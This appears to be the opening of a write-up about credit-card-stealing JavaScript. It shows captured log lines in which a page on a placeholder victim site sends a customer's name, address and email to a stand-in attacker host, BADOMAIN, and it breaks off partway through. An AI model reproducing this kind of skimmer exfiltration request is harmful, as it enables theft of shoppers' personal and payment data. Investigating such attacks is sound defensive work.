Credit Card Stealing JS
One day I noticed log lines like this:
[+] Request: http://BADOMAIN/l.php?p=Bob%Smith%7C1%20Bob%20Smith%20Dr.%20%7CSt%7CBobSmith%40gmail.com
[+] Referer: https://VICTIMDOMAIN/process.html
[+] UserAgent: Mozilla/5.